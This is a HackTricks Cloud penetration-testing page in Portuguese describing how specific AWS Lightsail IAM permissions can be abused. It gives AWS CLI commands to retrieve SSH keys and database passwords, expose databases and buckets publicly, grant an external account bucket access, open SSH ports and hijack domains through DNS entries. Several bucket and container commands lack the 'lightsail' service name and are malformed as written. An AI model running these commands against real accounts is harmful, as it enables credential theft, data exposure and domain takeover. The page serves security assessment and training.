AWS - Lightsail Privesc
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Lightsail
Para mais informações sobre Lightsail, consulte:
warning
É importante notar que o Lightsail não usa funções IAM pertencentes ao usuário, mas a uma conta gerenciada pela AWS, então você não pode abusar deste serviço para privesc. No entanto, dados sensíveis como código, chaves de API e informações de banco de dados podem ser encontrados neste serviço.
lightsail:DownloadDefaultKeyPair
Esta permissão permitirá que você obtenha as chaves SSH para acessar as instâncias:
aws lightsail download-default-key-pair
Impacto Potencial: Encontrar informações sensíveis dentro das instâncias.
lightsail:GetInstanceAccessDetails
Esta permissão permitirá que você gere chaves SSH para acessar as instâncias:
aws lightsail get-instance-access-details --instance-name <instance_name>
Impacto Potencial: Encontre informações sensíveis dentro das instâncias.
lightsail:CreateBucketAccessKey
Esta permissão permitirá que você obtenha uma chave para acessar o bucket:
aws lightsail create-bucket-access-key --bucket-name <name>
Impacto Potencial: Encontre informações sensíveis dentro do bucket.
lightsail:GetRelationalDatabaseMasterUserPassword
Esta permissão permitirá que você obtenha as credenciais para acessar o banco de dados:
aws lightsail get-relational-database-master-user-password --relational-database-name <name>
Impacto Potencial: Encontre informações sensíveis dentro do banco de dados.
lightsail:UpdateRelationalDatabase
Esta permissão permitirá que você altere a senha para acessar o banco de dados:
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
Se o banco de dados não for público, você também pode torná-lo público com essas permissões com
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
Impacto Potencial: Encontrar informações sensíveis dentro do banco de dados.
lightsail:OpenInstancePublicPorts
Esta permissão permite abrir portas para a Internet.
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22
Impacto Potencial: Acesso a portas sensíveis.
lightsail:PutInstancePublicPorts
Esta permissão permite abrir portas para a Internet. Observe que a chamada fechará qualquer porta aberta que não esteja especificada nela.
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22
Impacto Potencial: Acesso a portas sensíveis.
lightsail:SetResourceAccessForBucket
Esta permissão permite dar a uma instância acesso a um bucket sem credenciais extras.
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow
Impacto Potencial: Acesso potencial a buckets com informações sensíveis.
lightsail:UpdateBucket
Com esta permissão, um atacante poderia conceder ao seu próprio conta AWS acesso de leitura sobre buckets ou até mesmo tornar os buckets públicos para todos:
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true
# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
Impacto Potencial: Acesso potencial a buckets com informações sensíveis.
lightsail:UpdateContainerService
Com essas permissões, um atacante poderia conceder acesso a ECRs privados do serviço de contêineres.
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}
Impacto Potencial: Obter informações sensíveis do ECR privado
lightsail:CreateDomainEntry
Um atacante com essa permissão poderia criar um subdomínio e apontá-lo para seu próprio endereço IP (tomada de subdomínio), ou elaborar um registro SPF que lhe permita falsificar e-mails do domínio, ou até mesmo definir o domínio principal para seu próprio endereço IP.
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
Impacto Potencial: Tomada de controle de um domínio
lightsail:UpdateDomainEntry
Um atacante com essa permissão poderia criar um subdomínio e apontá-lo para seu próprio endereço IP (tomada de controle do subdomínio), ou elaborar um registro SPF que lhe permita falsificar e-mails do domínio, ou até mesmo definir o domínio principal para seu próprio endereço IP.
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
Impacto Potencial: Tomar controle de um domínio
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.